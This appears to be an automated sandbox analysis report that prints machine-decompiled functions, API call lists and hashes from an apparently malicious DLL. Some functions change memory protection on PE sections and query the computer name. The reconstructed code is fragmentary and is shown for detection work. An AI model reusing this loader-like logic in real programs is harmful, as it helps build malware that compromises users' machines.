                    Uniqueness Score: -1.00%

                    Function 027C5251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C5251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E027C6ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x27ca348; // 0x10fd5a8
				_t4 = _t24 + 0x27cbc70; // 0x38c9218
				_t5 = _t24 + 0x27cbb60; // 0x4f0053
				_t26 = E027C33F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x27ca348; // 0x10fd5a8
						_t11 = _t32 + 0x27cbcc8; // 0x38c9270
						_t48 = _t11;
						_t12 = _t32 + 0x27cbb60; // 0x4f0053
						_t52 = E027C5DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x27ca348; // 0x10fd5a8
							_t13 = _t35 + 0x27cbcf0; // 0x30314549
							if(E027C5157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x27ca2fc - 6;
								if( *0x27ca2fc <= 6) {
									_t42 =  *0x27ca348; // 0x10fd5a8
									_t15 = _t42 + 0x27cbcd2; // 0x52384549
									E027C5157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x27ca348; // 0x10fd5a8
							_t17 = _t38 + 0x27cbbb8; // 0x38c9160
							_t18 = _t38 + 0x27cbc1c; // 0x680043
							_t45 = E027C5B0E(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x27ca2d8, 0, _t52);
						}
					}
					HeapFree( *0x27ca2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E027C7220(_t54);
				}
				return _t45;
			}


















                    0x027c5251
                    0x027c5261
                    0x027c5264
                    0x027c526b
                    0x027c526d
                    0x027c526d
                    0x027c5270
                    0x027c5275
                    0x027c527c
                    0x027c5289
                    0x027c528e
                    0x027c5292
                    0x027c52a0
                    0x027c52ae
                    0x027c52b2
                    0x027c5343
                    0x027c5343
                    0x027c52b8
                    0x027c52b8
                    0x027c52bd
                    0x027c52bd
                    0x027c52c4
                    0x027c52d0
                    0x027c52d2
                    0x027c52d4
                    0x027c52d6
                    0x027c52dd
                    0x027c52ef
                    0x027c52f1
                    0x027c52f8
                    0x027c52fa
                    0x027c5301
                    0x027c530c
                    0x027c530c
                    0x027c52f8
                    0x027c5311
                    0x027c5316
                    0x027c531d
                    0x027c533b
                    0x027c533d
                    0x027c533d
                    0x027c52d4
                    0x027c534f
                    0x027c534f
                    0x027c5351
                    0x027c5356
                    0x027c5358
                    0x027c5358
                    0x027c5363

                    APIs
                    • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,038C9218,00000000,?,74D0F710,00000000,74D0F730), ref: 027C52A0
                    • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,038C9160,?,00000000,30314549,00000014,004F0053,038C9270), ref: 027C533D
                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,027C68B6), ref: 027C534F
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: b4a06e12ad1ed3c8a44ce063c1508a0bf9c017b9b5d17bec8236b3a7050468c8
                    • Instruction ID: 4f2de97f70585df47cf42575b85c9c34522d24b04d0a4441bb90ecdbaf3fbb5f
                    • Opcode Fuzzy Hash: b4a06e12ad1ed3c8a44ce063c1508a0bf9c017b9b5d17bec8236b3a7050468c8
                    • Instruction Fuzzy Hash: 82318C7290021CAFDB21DFB5DC89E9B7BBDEB48708F75406DB900A7120DB72AA54DB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E5170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E00E5170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0xe541c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                    0x00e51718
                    0x00e51725
                    0x00e5172b
                    0x00e51737
                    0x00e51747
                    0x00e51749
                    0x00e51751
                    0x00e517e5
                    0x00e517ec
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e51757
                    0x00e51757
                    0x00e51757
                    0x00e5175b
                    0x00000000
                    0x00000000
                    0x00e51767
                    0x00e5176b
                    0x00e5178f
                    0x00e51793
                    0x00e517a7
                    0x00e517a7
                    0x00e517ad
                    0x00e517bc
                    0x00e517c0
                    0x00e517c8
                    0x00e517c8
                    0x00e517d4
                    0x00e517d6
                    0x00e517df
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e517df
                    0x00e5179b
                    0x00e5179f
                    0x00e517a5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e517a5
                    0x00e51773
                    0x00e51777
                    0x00e51781
                    0x00e51779
                    0x00e51779
                    0x00e51779
                    0x00000000
                    0x00e51777
                    0x00000000

                    APIs
                    • VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000), ref: 00E51747
                    • VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 00E517BC
                    • GetLastError.KERNEL32 ref: 00E517C2
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: ProtectVirtual$ErrorLast
                    • String ID:
                    • API String ID: 1469625949-0
                    • Opcode ID: 5c51cd4e4c37b62a5c0887bff18bf025331868e7d9afaa2e898caab589c397fc
                    • Instruction ID: 93e4366bf2a4dce73ef8c66b2450d7d0b8ebf454fb29dc887677e043350b3914
                    • Opcode Fuzzy Hash: 5c51cd4e4c37b62a5c0887bff18bf025331868e7d9afaa2e898caab589c397fc
                    • Instruction Fuzzy Hash: 58212B31C0021AEFCB14DB99C9C1AA9F7F4FF1930AF0459AAE412A6850E734AA59CF54
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E027C790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E027C4358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x27ca348; // 0x10fd5a8
						_t20 = _t68 + 0x27cb270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E027C4984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                    0x027c7911
                    0x027c7914
                    0x027c7924
                    0x027c792d
                    0x027c7931
                    0x027c79ff
                    0x027c7a05
                    0x027c7a05
                    0x027c794b
                    0x027c7950
                    0x027c7954
                    0x027c795a
                    0x027c795f
                    0x027c7966
                    0x027c7975
                    0x027c7975
                    0x027c7979
                    0x027c797b
                    0x027c7987
                    0x027c7992
                    0x027c799d
                    0x027c79a1
                    0x027c79ab
                    0x027c79af
                    0x027c79b1
                    0x027c79b6
                    0x027c79bd
                    0x027c79cd
                    0x027c79cd
                    0x027c79b6
                    0x027c79af
                    0x027c79cf
                    0x027c79d4
                    0x027c79d9
                    0x027c79d9
                    0x027c79dc
                    0x027c79e5
                    0x027c79ea
                    0x027c79ea
                    0x027c79ef
                    0x027c79f4
                    0x027c79f4
                    0x027c79ef
                    0x027c7979
                    0x027c79f6
                    0x027c79fc
                    0x00000000

                    APIs
                      • Part of subcall function 027C4358: SysAllocString.OLEAUT32(80000002), ref: 027C43B5
                      • Part of subcall function 027C4358: SysFreeString.OLEAUT32(00000000), ref: 027C441B
                    • SysFreeString.OLEAUT32(?), ref: 027C79EA
                    • SysFreeString.OLEAUT32(027C4D42), ref: 027C79F4
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloc
                    • String ID:
                    • API String ID: 986138563-0
                    • Opcode ID: 6440d4753d4abf31808dd1b5a627fdb4940eb1e89c37b49cc9d2d0319f7b1cbf
                    • Instruction ID: acc784c7f130c3a4a1951ff41724628562add7d97c1b29f44d84d491a413d250
                    • Opcode Fuzzy Hash: 6440d4753d4abf31808dd1b5a627fdb4940eb1e89c37b49cc9d2d0319f7b1cbf
                    • Instruction Fuzzy Hash: 02311872500159AFCB19DF68C888CABBB7AFBC9744724465CF8569B210D731DD91CFA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8AB76 Relevance: 3.1, APIs: 2, Instructions: 76COMMON
                    Download Yara Rule
                    APIs
                    • __RTC_Initialize.LIBCMT ref: 6CB8ABC3
                      • Part of subcall function 6CB8B2B0: InitializeSListHead.KERNEL32(6CBB2050,6CB8ABCD,6CBA2530,00000010,6CB8AB5E,?,?,?,6CB8AD86,?,00000001,?,?,00000001,?,6CBA2578), ref: 6CB8B2B5
                    • ___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CB8AC2D
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
                    • String ID:
                    • API String ID: 3231365870-0
                    • Opcode ID: 319fcb9fda4d05386f4db4f9226f921275d05475b053e85b8b1e0f9bbedac04c
                    • Instruction ID: b9c1036e07572373d0c821e641a485a7aa4beffa19071a8743fa8dfe253aa436
                    • Opcode Fuzzy Hash: 319fcb9fda4d05386f4db4f9226f921275d05475b053e85b8b1e0f9bbedac04c
                    • Instruction Fuzzy Hash: E721F03168B2C59EDB009BB49C043CC3B74AB07B2EF204829D45027FC0CB310189CEAB
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB74380 Relevance: 3.1, APIs: 2, Instructions: 70COMMON
                    Download Yara Rule
                    APIs
                    • GetSystemDirectoryA.KERNEL32 ref: 6CB743A6
                    • CreateDirectoryA.KERNELBASE(6CBB156C,00000000,?,?,?,?,?,?,6CB74350,6CBB156C,6CB98B6D,000000FF,?), ref: 6CB743B2
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: Directory$CreateSystem
                    • String ID:
                    • API String ID: 2422297707-0
                    • Opcode ID: 1014d16026e172b286a5d57d64382104469bf1abc5bd8d7e98069838183526d0
                    • Instruction ID: aa8d6927e0d89955d873a3ff0742ea0adfe727e8c8a3b5464ac835ae7ef3b0f5
                    • Opcode Fuzzy Hash: 1014d16026e172b286a5d57d64382104469bf1abc5bd8d7e98069838183526d0
                    • Instruction Fuzzy Hash: 56312674E04289EFCB00CFA9C491BAEBBB1FF49308F148599E914A7340C734AA54CF61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB93462 Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                    Download Yara Rule
                    APIs
                    • GetStdHandle.KERNEL32(000000F6), ref: 6CB934AE
                    • GetFileType.KERNELBASE(00000000), ref: 6CB934C0
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: FileHandleType
                    • String ID:
                    • API String ID: 3000768030-0
                    • Opcode ID: f66587635618204ac77b06e6186244f43b004ba7f4fc831f3b9df3ad6571a846
                    • Instruction ID: c9c70b76d3604f280e5fe6499d60740a0c37a7b278e6437f4ef055f948f3490e
                    • Opcode Fuzzy Hash: f66587635618204ac77b06e6186244f43b004ba7f4fc831f3b9df3ad6571a846
                    • Instruction Fuzzy Hash: 9811D6716087D14ACB314E3F8C88622BEA4E757238B36073DD0BEC7AE1C635D986C602
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E520A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E520A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0xe541c4;
				if( *0xe541ac > 5) {
					_t16 = _t15 + 0xe55150;
				} else {
					_t16 = _t15 + 0xe5527e;
				}
				E00E51E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E00E513A7( &_v32,  &_v16,  *0xe541c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0xe541b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E00E51598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0xe541b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0xe541b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E00E52164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E00E5166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                    0x00e520aa
                    0x00e520bb
                    0x00e520c5
                    0x00e520bd
                    0x00e520bd
                    0x00e520bd
                    0x00e520cc
                    0x00e520d5
                    0x00e520da
                    0x00e520f1
                    0x00e520f8
                    0x00e52155
                    0x00e520fa
                    0x00e52100
                    0x00e52106
                    0x00e52114
                    0x00e52118
                    0x00e5211f
                    0x00e52121
                    0x00e52127
                    0x00e5212b
                    0x00e52133
                    0x00e52144
                    0x00e52135
                    0x00e5213b
                    0x00e5213b
                    0x00e52133
                    0x00e5214c
                    0x00e5214c
                    0x00e52157

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: ExitThreadlstrlen
                    • String ID:
                    • API String ID: 2636182767-0
                    • Opcode ID: d92458d6bb06cd2b3c1deace5a211f07ff7473f1e0cbdedb99afbe65b714402e
                    • Instruction ID: 86deebb60c869527445d03d06b263bf8bd86263922d1b32bf3aa02ac4f64d130
                    • Opcode Fuzzy Hash: d92458d6bb06cd2b3c1deace5a211f07ff7473f1e0cbdedb99afbe65b714402e
                    • Instruction Fuzzy Hash: FE1100B2505B049EE715DBA1DE48E9B77ECAB49306F010C5ABB05F31A0EB30E58C8B52
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E027C472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E027C33DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E027C61DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                    0x027c4734
                    0x027c473f
                    0x027c4741
                    0x027c4747
                    0x027c4749
                    0x027c474e
                    0x027c4757
                    0x027c475b
                    0x027c4764
                    0x027c4768
                    0x027c4777
                    0x027c476a
                    0x027c476b
                    0x027c4770
                    0x027c4770
                    0x027c4768
                    0x027c475b
                    0x027c4780

                    APIs
                    • GetComputerNameExA.KERNELBASE(00000003,00000000,027C3DCD,00000000,00000000,?,7491C740,027C3DCD), ref: 027C4747
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • GetComputerNameExA.KERNELBASE(00000003,00000000,027C3DCD,027C3DCE,?,7491C740,027C3DCD), ref: 027C4764
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: ComputerHeapName$AllocateFree
                    • String ID:
                    • API String ID: 187446995-0
                    • Opcode ID: cfa643cdabf6e41eed932f9eb322859ac867d1f2b23ee0f32514161639cf851f
                    • Instruction ID: 0adc2d82419ddc05e2c3fff532213fd3ecd37a41e9bc5b7eaa74e3e5b91faaa5
                    • Opcode Fuzzy Hash: cfa643cdabf6e41eed932f9eb322859ac867d1f2b23ee0f32514161639cf851f
                    • Instruction Fuzzy Hash: A1F05436A0011AFAEB12D6BA8C64EAF7AFDEBC5755F71006DA904D3140EB70DA018670
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB91657 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000000,?,6CB943FA,00000000,00000000,00000000,?,6CB9441F,00000000,00000007,00000000,?,6CB940F4,00000000,00000000), ref: 6CB9166D
                    • GetLastError.KERNEL32(00000000,?,6CB943FA,00000000,00000000,00000000,?,6CB9441F,00000000,00000007,00000000,?,6CB940F4,00000000,00000000), ref: 6CB91678
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorFreeHeapLast
                    • String ID:
                    • API String ID: 485612231-0
                    • Opcode ID: e1a6a16fbe9eb018cd15128e4c1e9a918ccb1b4367632c574fab9a6469109c35
                    • Instruction ID: ae9669d7f5550e5f20d40ee74d0a6ec73a3780292b7045fe3a229d45ab3aa5a4
                    • Opcode Fuzzy Hash: e1a6a16fbe9eb018cd15128e4c1e9a918ccb1b4367632c574fab9a6469109c35
                    • Instruction Fuzzy Hash: 0CE08C32A04254ABDB012FA59C08B9A3ABDDB03399F1914B1FA0897960CB34C884DB89
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB90F1D Relevance: 2.6, APIs: 2, Instructions: 67COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • GetLastError.KERNEL32(?,?,6CB913CE,6CB9119A,?,?,6CB8A7BD,00000000,?,6CB72A0C,00000000,?,6CB719F5,00000000), ref: 6CB90F21
                    • SetLastError.KERNEL32(00000000), ref: 6CB90FC3
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorLast
                    • String ID:
                    • API String ID: 1452528299-0
                    • Opcode ID: a1e6ddab981421cb2d19a8d6d83df3d047ae8e27f128d35c919ec8f947c6d28b
                    • Instruction ID: 833e04729764b2fa8d09276241f3a5717f6e609398a85a65e9a2fed78f803adb
                    • Opcode Fuzzy Hash: a1e6ddab981421cb2d19a8d6d83df3d047ae8e27f128d35c919ec8f947c6d28b
                    • Instruction Fuzzy Hash: 8411CC317492D16EEF401A79AEC9F9E35ADDB073ACB180130F41AD6990EB51CD099671
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB71CC0 Relevance: 1.6, APIs: 1, Instructions: 146COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB73640: _Min_value.LIBCPMTD ref: 6CB7366D
                    • allocator.LIBCONCRTD ref: 6CB71D62
                      • Part of subcall function 6CB731E0: std::_Xinvalid_argument.LIBCPMT ref: 6CB731E8
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: Min_valueXinvalid_argumentallocatorstd::_
                    • String ID:
                    • API String ID: 3360247935-0
